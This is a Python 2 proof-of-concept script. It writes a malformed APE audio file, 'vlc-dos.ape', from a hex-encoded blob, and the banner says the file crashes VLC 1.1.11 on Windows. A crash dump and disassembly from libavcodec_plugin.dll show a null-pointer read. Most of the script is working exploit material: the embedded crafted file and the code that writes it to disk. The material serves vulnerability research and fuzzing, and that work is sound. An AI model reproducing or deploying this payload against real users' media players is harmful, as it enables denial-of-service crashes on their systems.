print '\n\n########################################################'
print '# VLC (libav) libavcodec_plugin.dll DOS                #'
print '# Tested on Windows, VLC 1.1.11                        #'
print '# Author : nomnom                                      #'
print '# - shout outs to disable, jtm, welder and the csg     #'
print '########################################################\n\n'

'''
read violation on 0x00000010
libavcodec_plugin.dll:69c1c6d0 mov eax,[edx+0x10] caused access violation
when attempting to read from 0x00000010

CONTEXT DUMP
  EIP: 69c1c6d0 mov eax,[edx+0x10]
  EAX: ffffffff (4294967295) -> N/A
  EBX: 043570c8 (  70611144) -> xD7 (heap)
  ECX: 75ff98da (1979685082) -> N/A
  EDX: 00000000 (         0) -> N/A
  EDI: ffffffff (4294967295) -> N/A
  ESI: 0316f93c (  51837244) -> 5<hp5|i,q5p5L(jiiXw..w6nww6..nww6@hw8.$hwv...$hwcPw!$hww.cPpewv.x6.b@|X (stack)
  EBP: 6a284ce0 (1781026016) -> l)p)d (libavcodec_plugin.dll.data)
  ESP: 0316f900 (  51837184) -> 8L(j<5<hp5|i,q5p5L(jiiXw..w6nww6..nww6@hw8.$hwv...$hwcPw!$hww (stack)
  +00: 0316f938 (  51837240) -> 5<hp5|i,q5p5L(jiiXw..w6nww6..nww6@hw8.$hwv...$hwcPw!$hww.cPpewv.x6.b@| (stack)
  +04: 02d497e0 (  47486944) -> Z:\Downloads\fuzzing\known_bad\vlc-dos.ape (heap)
  +08: 6a284ce0 (1781026016) -> l)p)d (libavcodec_plugin.dll.data)
  +0c: 0316f93c (  51837244) -> 5<hp5|i,q5p5L(jiiXw..w6nww6..nww6@hw8.$hwv...$hwcPw!$hww.cPpewv.x6.b@|X (stack)
  +10: 00000000 (         0) -> N/A
  +14: 00000000 (         0) -> N/A

disasm around:
	0x69c1c6aa mov eax,[esp+0x68]
	0x69c1c6ae lea esi,[esp+0x3c]
	0x69c1c6b2 mov [esp+0xc],esi
	0x69c1c6b6 mov [esp+0x8],ebp
	0x69c1c6ba mov [esp+0x4],eax
	0x69c1c6be lea eax,[esp+0x38]
	0x69c1c6c2 mov [esp],eax
	0x69c1c6c5 call 0x69c1c2d0
	0x69c1c6ca mov edx,[esp+0x38]
	0x69c1c6ce mov edi,eax
	0x69c1c6d0 mov eax,[edx+0x10]
	0x69c1c6d3 test eax,eax
	0x69c1c6d5 cmovne ebx,eax
	0x69c1c6d8 mov eax,[esp+0x60]
	0x69c1c6dc mov [edx+0x10],ebx
	0x69c1c6df mov [eax],edx
	0x69c1c6e1 mov [esp],esi
	0x69c1c6e4 call 0x6a247be0
	0x69c1c6e9 mov eax,edi
	0x69c1c6eb mov ebx,[esp+0x4c]
	0x69c1c6ef mov esi,[esp+0x50]

SEH unwind:
	0316ffc4 -> msvcrt.dll:76018cd5 mov edi,edi
	ffffffff -> ntdll.dll:7794e0ed mov edi,edi
'''

import binascii

# contents of the file
hexlified = '4d414320000000003400000018000000040000002c000000781b00000000000000000000f0d36ae208700e0b883873777a5272f5d007000000200100dd120000010000001000010044ac00007c00000052494646de25000057415645666d7420100000000100010044ac0000885801000200100064617461ba2500001e765c5b322600007205562aa8a1fa29223903ee58ed36bec6f1a127d79379040bdc83b4965c953895f22f24538c85f2fcc2732c409ccf8f6deb7f38d9f3daddd783d40c7d85439a452989760261a88906d1a7688b7f063cb5152b98f8b19a8a55f61937d51f6be87107ac069b3bda37a7a87e195329ea6245c0facb7c70ec682cd96893ea78b7b4948c1c934d70d9261d44ff8bb989c1a8f6ce429b0ffc9ac595a42cf93417485f6f4979c7049f6d02c8add5a31dc71b4419752db02adcb337cdf76c769b42aef9f600d93fec5502a2fc911d35f97d62448d5b2a20e6634585ed92e8692f1d2d00906e60670b478696d0e7a43055da2edfaaf61d94d7b4f195c7a6917576d8d115314aa19c02facd2f598cb850a33be38b6904c79e997d83e6115d742d75cbe4101470bab89c20eb3f1b6e066bba5da88df31e14b9d1941005570437e23464c01ef8102084fad079fdf95de56575957c06025b1668fa57180b6fb495d9ba52a214a3812675fd9db5f4e7c327d9cebd376ee84576d0c3709f37c45bc781b3415dc8ac6538f14a1fde8ded60eef16efdc4590c985491052b8adc7801434609e28166959e1a3ccd97a7ac7d207652d0f5ac3a75c7d29e2727233405f8aee68a4d9734bc191b2bf0a5161346f5cdd93fdac824d88ff03c64ad0aa5cc54b9b19799b5d81d533d43ae2400a7def650057ea33e1de54e2e9dd461f947ac408844ca0b0345eaa3a3a986b6d8f41ded7632630439fcfeb52f54d71871db88f358c24229c60eb66b780299ee2c7a608108acfcaa1a34fac57ed906a15a28c97ecd701e8cc97b609eb29c6f96b8f15a8ed317e920e22df5b44521509cafc5c8f806386f27a06ab6c1a0ccb6dfe167f0750ebbbfc244225376f0720e664ee35a3a2bace5178e5a21b1c873014c0076942e6288428a8bbf31c6665142db29bd79788989646005a1800f70aff4920af03b141ff17c73b92a03579e12f465ce6e49b082550a9b51b21f9b4bf0985909bc2a2694e55bb9edea1d501c5c50417ffafe4766afbb3b6d3adc82c38f40d52991ec384022f08e324d8ccda865c4ea06725e3390cf23380606faa5f778cb236b459cbb73f5aa4d10142fb4756492a19ae38ca220b1ac27b358b18147675a4b2b6350c6b1a76531c06e71de751cd3f71a2196e97651aa85e034e11a85ad34ef258ac61ae5096a81bc05f615ef185e7ef3925305d6f8e38c03aad23fb0da30ffe354551e19407c9ad2cf786273f860e8476f3cbd93bed4f620ce8341c12e4001961620f060f2deb9cd3240271d19552063ce14fa8bb46cb535313d3327b2c05d817b559fd4f827938f97a2a775bff027436bfda12ef35f5b9cdd7edfd10ce29765608b71545f6b4dbf0f356f854b6655f33a85f3f0c8a9ef8c7954c8ddb084a835d67059f3262e36455be0adc3b21bec5bcd46fea04803c09d8299b349e07df517f9ab2543b0d8d72b4250196e1bcc9bcb2e244f724e9784826da664e7dc47fa5cfb674f862ec9b4b22f64c4c75bb629cd47a2995b7839ffd8d0ceedaaba8d35d3727aeac7700c95dff06b68f5588a736a896f4c262d83085180645595ba425857ada588a8c6ccf4cb008137ec80f1fb73eff634a4c8393ef34361d4ddb65f838c0d6f474fd1bb5c97a50a1f790bbad689285ae7d66e64b47bf5ea08a1fbed95a59f7df44af59530161a9e1d31acb7f98e449c6a816b4ecc42e0fe96853c1e13cf979eb2f8791fa5e5bbecaa7491e0fcdea9a84263853390ab890dc6b12dca3f5b77965385e4ebdffe875b739390c4fc982143288010bcd8b9ff45ca8a64e5a48340feb2ffb825a2dc0775a5752519e50f49addfbdd253821a993b7820ea59d37692c1a6e9aeee360e6d72ed3b7428cd62369e48aa44e9920be49645f56c50ba7074289e5cd7f19d3fe63060ca1e172ea2529f5d3ea8926ef52b4cbab8d36d26bd9c1b70b19ec120d2821fb017060d3dde073540dd86c2cf292966c3b2fe9b7e88d76c98a0ff4e2c64fc3ee9f1bdd95fc81938728344e2b824ec51232bf53aa872776f0187914f5231e79cf70d0f3e5c42b40e03d3f28c06c3ec097f501ec25cdcbb2d5a82d7586b5782a661b420bbdc49410145e8b14a214513e94c34a7322dc5e2a1558b125d09eba9d4793116945b7cde06ddb45841943b7bdb057f3c4f3f47e3f256285cbbc2a4e71e860ac1c6cf4620ee12d81a91beadad5ede2275ec9ae0d70b67603f8fc6680823ff15d97aba80c4bb4f6a805c572e66d8db354575daac7f8d154faffc498ff8b8f5a8dd4121a7ab34c1ea15330181378c2d50ee4cd42829a834911e8b56ad445c5471a0c66ea2eb3b975d1ae61401f61fc26466c890507c3560329737fd2fea661df560c7a2fbd44ea6802fb11d76d3e0793a72780bce2dc2f4f79c8b54e54ce0a954e7fa31a05ca04d77722e21217cab7da2aabe8939d6eafc95b2ffc9458ffd4c77c7ad81aa06e203a70a718e56987d7b91609d300a3290f1122bcd47ada24f9a3ae42078c8ffa661842c258c9ffdff2f2bba0ae68bc5b18506c44311818eac1680f29fd2035bf59e489ecc9f79e15d34798f5f0dbca2f44b3faee54cc8567bf9011aefeaca9076d01773106fcdacd5a68514af03d8f4b53cc96872188326d91b6fcd05c88d38ceb59d98d660fc0b2e54f23231514b9e7d88f137be6e09058b5411dc72b093f9dcdd3fdd392f5ba3c548eac7fdcaccaae8e72dd729f5fd6f4b1133288174b36d44b3f42259f6b7e1981ff3f9768e9c45a81653e9ef15bf325c4b232af9697ed6ae1889301103cc556c23380cb71b3e558aaa746bb81311f674c0336f3399d207a53f80f3eb4f24cc828edf2e9245140ba1825594abb071c90e2047139869e8e0bd06d4ce7a00189107e0eb5d6f6e0fb48bfb1ffe82e572c736ff54c6fc75c729e3c7fd5f3966c5ccc71b07f71cf3273ed71b24ded3a4957f68a70bbba986ec066e7bb6696f6dcfafe309deef9e452e08dc3d46abbacc81da56fb912f91b583e22c1005025fb95cf18dfcc0e3e4a3eacfb4581b7d2ddf64441a94060fabbe5de608e9ff81d828e32dd6502c52f6bc503ea76ee5800a00a9bb0d03ce9f3e98c04c7c5038d7acfd820a83ea86bf0bba5e8a015372c9fadb07106ce15346a00d4d7c6cd52bb4322545ec9a5dcf2a964a19af15842109a2c4fbff89c6aa1f98044f7f70973b377af18ecf1d56988081a604cb72b94fad774a23ab38d5ab8e942c28a4c6566b7669e23b1333dd81e022b50d737c9699e144d479029dda239bbea6647960b61eaa4b50cd1350a4c022d60f405f54145f6c7181e6b58285dfcc4f3b1491cbbfc497ef0bbbb0175ab1e51a0ef17ceecc4522e5929306821d51897821a056bf55e6f9615f62d7d2d2ce3fad671c98d1ccab96b4d8596b477bb931c78dfe52917ed270b6a7c6724312a701c76b2b5a1b9318257229a44eac8366dd4fad97e03041253eb8f3f7eda5a2773731fa2fcab24f33a740e9defc7e80d4d861bda8bd691a942926889eb145d5f3fadede5738d9bb86a31395d39a56ff8e0d242b0a44dc6ca3a7700957bcae305d41ada4c941c7b20a7e60adeed3ebf10d0b1074a404d226b4d7977bf7c2bffc0061bf7f67f35569276fb64121a637ddd88f32cebd30f1ee96a63aa3d896824d5e2d29a79bcdad68f3ba9d0043a49ad110d7a225583ad58e49eba0ce43cee1bf62660e3e87c205445f02211494aa0fc627f3fb66e9d2b5dbee93cc117aa127e4edd3b94c583ec5ee22fae810fe964c2e44ce782ddb361ae5aa521cb7e223400804e03094cde7531e60910b6d0332cba2c2928255e89f3b17070d6450b5e07793b3280d0be7879d3476f30471ce90a1ad4b6452c7fc9a743ad6bc61c1938005041b35bc9298d9d074a91675ac3dbbade6de9400405886f931232ffe9b04b623f9a5e01843c5088f94e1a222b91350e822eb6b01bcae39ef7e686d2de6832b8c878691b03a75f8f21a47dc3f23e3a01543ced0e8af9d9bb867dd2b85d92eac0b618f8cfcc05001c671c671add7ea1f1d0c2b3d3e7f788e37d255b35a8a07f552eb2350c5e8427336c8864753c595c3edbf41d7020cee35ffca17b3b0fc9cc3c7d499f2532eb2bce60e11128a1d65101f9179c7b24702485132e5c605ce144bcbd0183da9a9aa3905d9ccadeb0e707a27fb24a119e49c464068de566d1300ad98f38e99e53745c19044d2b25f971f3fdfc13607ad9e760ba21a2ed65eaad40aa3644f9b5947dbcd2f24a44977c952ba0f18970bd4ffee95d04b2acd602657db2a864f2c417dd6354fb07e74c3f9df09aeedb883e84b596fab1f498e8e16b892a6abf35b72c22993fb666f1205a0747d6cbf48a524f14ddf6512173559162b1bf53b8ef0c1f781269306d8b8ab1fd22d6057d2a73486150e2b722dbc73331c1ca029cbcb6249c4dcb2a63246a08934aa50904612a70f363d99e580f0fd4944109bf4d6d7e0b63d02834c2317419fc2ac68081d96c1e94360586b93318ebc16bcb28f5bd205ea100d66c3d650caaa7de28d03ae13aadc75bd42fa2a2a706a1606e2ec6a583c16a8bc59faecca4a4970572c2bed8acdd40215b026087ee8dcf4ef6adc335a9bda7ed89ac932b2941e95df47c5378c51252d08d05e861de396faec6eb17d0891048473ed0857e49651b034b540fa34d6da6dea221b6cb530a78beaa890f6f35a42225fa57ee099e135e9cd354512750607372304f737c43c12b796ca53b9284f705565214fda0ee4381050718c566af936f3d21950d381441ad8b3a9a7c5870b0a79a8000ccb54094c54db091c1517c08815eeaa3f5a04ca9c7a4cd21e1a4d417697ab55cc85c8679281187b30e4f71864f9dec6aad593b429ac0b99077906b87b9d64c1e5af9f6aa41af722e39e4c202074fd24eab62874bd2d278a06fb6e04a22c280aea4dd5fa4ad18bce8a82a8d1157ba120ca22cda70e98213a0d98a93da5567d6c63d2835f1ad17922299afbaa6e955e0219edc28c4a539474d658b50cb7314a9f951df9b1b0b274bc037dd55a7dfe5e8447fdf43a7ecf971e7a8e7d1de52cfbece401141884e6a6f7c185a788d9bfe9c34aefb2a6212a184593a99f1f0dbbc517ee3640e830d2d5e1ccb7b2f14c8435bacbf46cf71e0a435b919b77be84d687c8af35930409a2c8642ca895a76bf7e8bee7a6a030f09dcaccb269aef8b2da3948dc881ab74561b30d5f1fcf1b34541ad3e7b070be599c3ec0c0b982d6e6def77ad34645b2921154ffd61e8a941ebdd753b601875bbbc5d10a33230675d106d16e8c61ac567bcd1d92eeb2f5275756bb2ea3db494805b3de4b10e5a8f0fecd48a491dffc657b2b0006a106c345dd6f52988f3b77d796e4b6139d1b1434b918b38d4d1100665386510623d6d3aa42910ccbe78f63edc0277224c4d37da32163705fba96c73fe6c5fb545da379604803d1e9050f1446f33d8348b63fe604e21cd75a879ddb4d40c16cb63f475c29931147b340b44750b1134d0bbe88652594cc9fb23fab95968a9f2206f5d44ba55bb8b18abc98cd2042d85d54d6f686b9c7ee7caf3ebfe8b5073b3d5fecef8a752e87a3455df056f44fb6bba30faf10f4c6890fa0a9859f468ebdcdef7229a5d0c1df739df7b2d2c4656cf043668450ba7ea057c9831668d2f13ab7db1158156539359f72360436a149ee9a0b7f515e48bdff279672b40d5343a5c2b901dbcbbe4b33697a3b8dee78f0224e1898270d07110593fcea9f83fe85ebd008caa58832947802ebabc6a5e4209c6b849e594c3f40ec04cb38d448ef36307c5b5e6bb43f1977b03854fab4be95ca0b15e8ab3932bd14f51e1c6d3a3aeeb6d6dc3709e440b0d69ce01069fbf76688681082ba6c42f8c965ab730df86fa64d78bd6cb302a1cb846d6432cba21ee3116d2c3e8dfd7baa94fa5337180aef0eab04aaad8a07629905bcaeddb3a350f5bd1a04e64ba4dd8cc1386a16177fe06b772312d7d44bc827376037e8643c80f02095a6fb190ffbe664497a35a39199ff8919b058afaca9dd0f7fadec2dc85436201c8d91343a56cdd031616f629044932e411c2baccb1857980956c68c3efdd4a70a35cf4ed6b51427af19b7317a4935f02e537b392cb170846a54b298c26c1a6b99b8f5e749490c1bdc363afafe365eab2a4acd9e9e64ab143132e196ea1ad52299266dcd20f93c3d131588e21c1eb04f3210ecdd0018ad6c1c18ab78c4937d2e3106be1b2d4a70ef2b7fb3309718a1593dee3fa79a17990f71732db855ded10d045d8ef139c2c4e2ed6bc0fbfca842f0b33348f6b144379544e9232acececb5633f66bb1c29c9cbc287dd0b6e284e15be6f797a0d1bd27eefdb10380fd410ac6b253d538c051ff24275ecdc61f91a80d982fed2ca2a2ce0b0cb7aef24a4a3ceb39f75067e428f658fde427c8c7a25657c7ec8fdfcaadc97383f7041eb8c152b55ed656e19d07637a7408489df99f99e07a803a07cca5116e3025aade3fb36067d77800686323d9f31d1d298f8b2713e149f56c620a37146263ac387201fe019684ab873ccbb740365bdb1674ef5ae1010ec7621f5a150c0b0fe99bc6f6f2f20740267b74611c553b709a3bcbd474ed8eec1e7c0ae89f49aadb81dee1e04528b68ac5e2c994ab29af7f45ae9d286ab2a68df8462d4e7b1469fd07dd554004e5782ce989c67c0e9134cce018d6e725d786b8430f04ef6c9664a231bf0e6ca03554a94dc79355aecf433224bc0cf1952e6809455c82e68664e18214d047ca778a0666f211e88c353c5d9b6b6a50ac67fd798edf2d5d3dad642e3a52822ca1a65fae4889c9b32467f42c5c99851673eac2e069d3cda524bb05eb1e7edbbfdef9fa9e28b158ced60b29a9d08b1289087cb940b794cf7f839fd5e9ec442169a64c8dd6bfc1fb161e948f95ba7cac9b66d4caa5467eb23e351cb73551943ebfda5205cd7126a3c27e80e0db4b2271b16421dfe7433fbd748281388943174b3f0b1d9925aa0e91045c48fe686e2cba903dbcc000872f5c874e980fe90571c2594205c8adf7393180cbee9de69de5b36734cd556fa006fd92967745a736725ae4c414425757f730d92c5e1b6ed16d25a45202b6848b0dd343a6976fd1c690ebac6e958831b554c599e1b57efbd68a41cf25755855fdc94896e85832015ea648be8b9dbfdc8b7e05b6bf77413fe1789e8ced37ffbdea8a3ada7a1851b3d4e98198c1d771bbf387f4e1c1625b264d4f0fbf759d69a73177ed1226e35866d67b7101fd81da9ef313c2eaaa6a718f73675e7dd67fa2a0d617289e749009ee0b257e88665099de78e66d04fce4cb4f2c1f1b2df8fa6650bbf383ef3cc7d47c141a304470a09c5f59c8154917f5fe7df79c024b8329ec3183f94c7db29f59c8fd2753216e2c1228bab2c0ed0d1326806b3ebab1fd0f3836df3b811db6ece6385378f3325ecb01f4dd32404bcebcc41691452816a752b09e5c9d703956fb336b11717d8c0b7f5d62ca85c492083725d7d7f398219e170c1e42242158a95c492b1aad34b23b868f516707a043ef2c2ad6a7c28692212a0ab7bf578be3af31febeb28c8fc53d141474c913b1abd87d3506e90afc67e2d262519e7acb3bb630e7b63be97918f5ccedeb7e2409628abcac15b6c53f040a8dd4550bdc74f2563a60183505693ad547c0073cd355e39b6f26171faaea6b1e8adc6a9efcf69fc15d741a35fbd11120c46d1267aa457bf396df4ed306406405f56b6c58c84894c9a40a2f0411054848db83fbb231ddef0b705c0ed0d36343c5ba5f1d7ae585536c515b1cfd45572860f92a24fe4ef1b158f914a023f70cebc76dbb211ec349d5625606669c9240354f9d4dbbf972b5bfa753cca5b2a33a2968e790a20ec3513435c5d047a537f5abc17d33b95c5db45e501d85f64d61764f40d1e8a1ea1a6a8af0b1ecc3d32e88385062ce55789446767676c7422170b5ff44c32ee4b83677e21bc730ba5ec1e973dbd0011171ee81a857376e2c6c4a707d454ef4be7e58a9be7d42ae3ae8ab6d93effdfb026fd5c7931f525b887089d7454d808cdb0cc8b9a5a32ddc3a710c8db8453191949871f30b9f187260a99b6ebcd5bc50aa127468fe43ea3bab060787df87aaeaf17f8961ff3930063f1749b046fc0cbfdfdcbd9c6d0342d3f6f98c167f2ab9d9cfa968592c9bf0f80faed8e569c482eb5e26363739d0beaacf87d8aac4d674831dbcfa7a64973a2feb31abf127d404352db5e91518333c086ecc28349ac8fa963c5a174636f11a6d8aa0668123a30e4757f4fe2bc8b3dceeb94d05e5d52ecfa629aa1a91732d913249ec6a09a58cfa335c48d2ad60cb8a5fcbc923b8c5445da1af8713952579e47184f44264097875b14e3221e3fa45f054fd702842d5d55b3d80dffb7fdda9b34c2674c4c3a6af4f5ce24af5b0d59037cf760b06a2b226779ac0cd0146cbfcdf46f32ff0cd66c4942bff42e0093bd496c4f4956bf5290ab8d9ab953198d4645dcf666359d26e42c8881872c2f8315c9af27ed964c289098e8e26c29d4907f243c61cf0c939c3f240406935569a13cb838136fad59391bbfb0bd3c70027b1dd1bb77a4e226c5b4267ca58d4d676cf69b0c4fc39c7c0cc0b14f1c8bbc9223ef88e208a8ee6db22a2af4640d8adcec686ef31dfef960fde679d357c5cac24d14d36d0979903df3f8f6087171282df0c0dbf7c32f0e83abfa384dadc1c27553ef06ff8eae6698ae93597c64ae5865f98f3e2e17bcdf4f2166a579e52db6d17127d53f8c1d5400ccec6df6f061f802f53a0175fbab8362c2c157175ca803a8bbee7d0785b826edfc682e37e2b6dc294c66d236903b2f2e7e85790919a918658eafab180e4ef279dfe65bcf01de39a49ca9daa28f855fb7b66b81251913518a733490e656eaf56a3082c80fc8534dd8e873033fc1ea9c491f95cf291a03e759d55567521ea0ed1f8eb1baf4a47546d46279a5b36c6911457ca054f53239b4e8f6ed336394699ff77fa571b473f739c1f50b4c346a056e842c403ce8c03c7e26984b5358f1d521718ce65365920c75273ad43cc7b964bf5e3e2d83a6f4657adca859034672441a45fd60cf52e35482ee81451c5f237361144cae309e9c1ff3dd8fb2c621a6fcbeecaf3cabf662247f08603ea9c916d08b932b9201e1cd232624129e48170db7d0945002f7ab2c7298fed8733492d588bcb95bd0cefb60de463e2084d31d15edd3c0e46ea4d415ef38550859c9008879e6b2d809af2f64634e0373faed2814050de2482616cfa90335d8aa46830f1e75e1332274fc06e1d986bb8998bf61fc0c509c61f44a420448750e636ec91632e2f3d8c2e05b390e35e3de5628eb2c759a7a8b2ef255f4d8ede048cb9a9061162d8276e626aa375f023ecefec2567c1eb3a7f92d68242ba94387fd841bc995d474bad3229500546aeb7b3dec654c021c638e57599f403e8bacd1aa1273eeae3692a11e6857338a023860180cd58e68db4819a77c29d1e8e60e684e1f2760db39f02ca508614040bbaaa154fdb6312b5f62cb4cb7dc62473ad4734f9bd968eaa2facac02c3cabba248558d41eaa04cea15b28b997b9c92e2de886f182a4236188c6914c6e8c9782bad91d18e987e08df1916ad844fc7291657e70182443e8c454428cede54b83abaf843f96f520ba02303d25dff65ac5d15901ebc3ca10c23472bef438bf550ef609c2b41927aae0d9426119694464250ee9b5e2c968209d5bf6e2228dd165aa54d448ab035501de167776619440bf5b43d6453f8139efce1168ad5b3fa6c7fdb2515b443997b56e89025ed80cf5ac706712a222103c7fa7d57050075473de156debcbd18ae33ba677f41641a0a9457e05468793afd4c64020e8c1f3a496ecf3ed151ecb85fb02abaef639b001ede5600000000'

# create the file
f = open('vlc-dos.ape', 'wb')
f.write( binascii.unhexlify(hexlified) )
f.close()

print '[*] Vulnerable file, vlc-dos.ape, created'
